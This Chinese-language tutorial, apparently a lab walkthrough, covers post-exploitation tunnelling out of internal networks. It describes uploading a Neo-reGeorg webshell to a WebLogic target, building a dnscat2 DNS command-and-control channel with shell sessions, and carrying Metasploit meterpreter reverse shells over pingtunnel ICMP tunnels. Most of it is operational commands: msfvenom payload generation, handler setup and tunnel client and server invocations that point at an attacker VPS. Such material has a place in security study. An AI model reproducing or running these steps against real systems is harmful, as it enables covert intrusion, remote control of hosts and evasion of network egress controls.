内网隧道—HTTP\DNS\ICMP

       本文仅限于安全研究和学习,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任!

HTTP隧道

Neo-reGeorg

Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,目的是:

提高可用性,避免特征检测
提高 tunnel 连接安全性
提高传输内容保密性
应对更多的网络环境场景下使用

靶场环境:cve-2017-10271  weblogic

#靶场攻击过程,使用脚本工具得到shell,在此略过

1.设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器

 2.使用蚁剑上传JSP文件

上传至此目录:可以访问到文件

/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/

3.使用 neoreg.py 连接WEB服务器,在本地建立 socks 代理,代理默认端口 1080

修改配置文件:vim proxychains4.conf

内网隧道—HTTP\DNS\ICMP_第1张图片

 执行命令:

内网隧道—HTTP\DNS\ICMP_第2张图片

 #测试代理: proxychains curl 127.0.0.1:7001

DNS隧道

Dnscat2

       dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大
特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包
括:文件上传、下载、反弹Shell。
直连模式:客户端直接向指定IP的恶意DNS服务器发起DNS解析请求。

中继模式:像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们
的恶意DNS服务器。相比直连,速度较慢,但是更安全。

服务端安装

apt install ruby ruby-dev git make g++ ruby-bundler
gem install bundler

内网隧道—HTTP\DNS\ICMP_第3张图片

内网隧道—HTTP\DNS\ICMP_第4张图片

git clone https://github.com/iagox86/dnscat2.git(也可以先下载文件,然后上传至VPS)
cd dnscat2/server
bundle install   #如此命令报错,和本地网络有关,多试几次

内网隧道—HTTP\DNS\ICMP_第5张图片


客户端编译

Linux:

git clone https://github.com/iagox86/dnscat2.git  
cd dnscat2/client/
make  

Windows:

下载Windows版本

在本地编译上传

上传已经编译好的 .exe程序

make编译之后会在此目录下生成一个dnscat可执行二进制文件。
Linux systemd-resolve占用53端口的解决方法: https://www.itren.org/319.html

Dnscat2直连模式

启动服务端

ruby ./dnscat2.rb

内网隧道—HTTP\DNS\ICMP_第6张图片

内网隧道—HTTP\DNS\ICMP_第7张图片

 启动客户端

内网隧道—HTTP\DNS\ICMP_第8张图片

 vps收到会话

内网隧道—HTTP\DNS\ICMP_第9张图片

help

windows

 进入session 1: session -i 1

shell    #获取主机shell

进入session 2 : session -i 2

内网隧道—HTTP\DNS\ICMP_第10张图片

 执行命令:

whoami

内网隧道—HTTP\DNS\ICMP_第11张图片

 直连模式流量特征:tcpdump udp dst port 53

Dnscat2中继模式

环境准备: 
1. 一台公网C&C服务器      
2. 一台内网靶机              #以win7为例
3. 一个可配置解析的域名

配置DNS域名解析:
创建A记录,将自己的域名解析服务器(ns.hack.com)指向云服务器(VPS IP)

A类解析是在告诉域名系统,ns.hacker.com的IP地址是 xxx.xxx.xxx.xxx

创建NS记录,将子域名 dns.hetian.cn 的DNS解析交给 ns.hack.com
NS解析是在告诉域名系统,想要知道 dns.hack.com 的IP地址,就去问ns.hacker.com 

内网隧道—HTTP\DNS\ICMP_第12张图片

 vps防火墙设置:开放全部UDP端口

启动服务端

ruby ./dnscat2.rb dns.xxx.xxx --secret=abcd

secret --指定密码

内网隧道—HTTP\DNS\ICMP_第13张图片

内网隧道—HTTP\DNS\ICMP_第14张图片

启动客户端

server #指定VPS地址

内网隧道—HTTP\DNS\ICMP_第15张图片

服务端收到session 3

内网隧道—HTTP\DNS\ICMP_第16张图片

获取shell

进入会话:session -i 4

内网隧道—HTTP\DNS\ICMP_第17张图片

执行命令: whoami

 内网隧道—HTTP\DNS\ICMP_第18张图片

ICMP隧道

Pingtunnel

ICMP隧道
      通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道,
tcp 和 udp 等传输层协议不能出网, dns 、 http 等应用层协议也不能出网,只有
icmp 协议可以出网。

目的:上线仅icmp协议出网的内网主机

ICMP隧道转发TCP上线MSF

1.VPS启动ICMP隧道服务端

./pingtunnel -type server -noprint 1 -nolog 1

2.靶机启动ICMP隧道客户端

pingtunnel.exe -type client -l 127.0.0.1:9999 -s vpsip -t vpsip:7777 -tcp 1 -noprint 1 -nolog 1


3. MSF 生成反弹 shell 的 payload 上传到靶机

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=9999 -f exe > hot.exe

内网隧道—HTTP\DNS\ICMP_第19张图片

 4.执行 payload 反弹 shell 到 MSF

设置侦听:

msfconsole

use exploit/multi/handler

set lhost xx.xx.xx.xx   (vps的内网IP)

set lport 8866

set payload windows/x64/meterpreter/reverse_tcp

exploit

内网隧道—HTTP\DNS\ICMP_第20张图片

5. 靶机执行payload,msf上线

内网隧道—HTTP\DNS\ICMP_第21张图片

 内网隧道—HTTP\DNS\ICMP_第22张图片

ICMP隧道转发Socks上线MSF

1. VPS启动ICMP隧道服务端

./pingtunnel -type server -noprint 1 -nolog 1

2.靶机启动ICMP隧道客户端

pingtunnel.exe -type client -l 127.0.0.1:9999 -s VPSIP -sock5 1 -noprint 1 -nolog 1

#  icmp隧道客户端监听127.0.0.1:9999启动socks5服务,
    通过连接到VPS IP的icmp隧道,
    由icmpserver转发socks5代理请求到目的地址 VPSIP:8899

3.MSF 生成反弹 shell 的 payload 上传到靶机,并执行

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=VPSIP lport=8866 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=9999 -f exe > c2.exe

 5.设置侦听

handler -p windows/x64/meterpreter/reverse_tcp -H xx.xx.xx.xx -P8866

#IP是vps的内网IP

内网隧道—HTTP\DNS\ICMP_第23张图片

 6.MSF收到会话

 可以执行命令内网隧道—HTTP\DNS\ICMP_第24张图片

参考:

内网渗透之内网穿透 - 先知社区

...

你可能感兴趣的:(网络协议,网络)